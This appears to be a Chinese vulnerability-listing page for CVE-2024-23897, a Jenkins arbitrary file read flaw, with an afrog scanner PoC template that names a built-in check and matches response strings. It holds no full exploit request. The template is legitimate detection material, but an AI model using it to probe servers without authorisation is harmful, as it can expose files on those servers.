CVE-2024-23897: Jenkins 任意文件读取

漏洞描述

Jenkins 任意文件读取漏洞，攻击者可以通过构造特定的请求，读取 Jenkins 服务器上的任意文件。

PoC代码[已公开]

id: CVE-2024-23897

info:
  name: Jenkins 任意文件读取
  author: Rubby
  severity: high
  description: |-
    Jenkins 任意文件读取漏洞，攻击者可以通过构造特定的请求，读取 Jenkins 服务器上的任意文件。
  reference:
    - https://y4tacker.github.io/2024/01/27/year/2024/1/%E6%B5%85%E6%9E%90Jenkis%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96-CVE-2024-23897/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23897
  tags: jenkins,cve,cve2024,fileread
  created: 2024/06/14

rules:
  r0:
    request:
      type: go
      data: CVE-2024-23897
    expression: response.raw.bcontains(b'No such file') && response.raw.bcontains(b'Lists all the available commands')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2024/CVE-2024-23897.yaml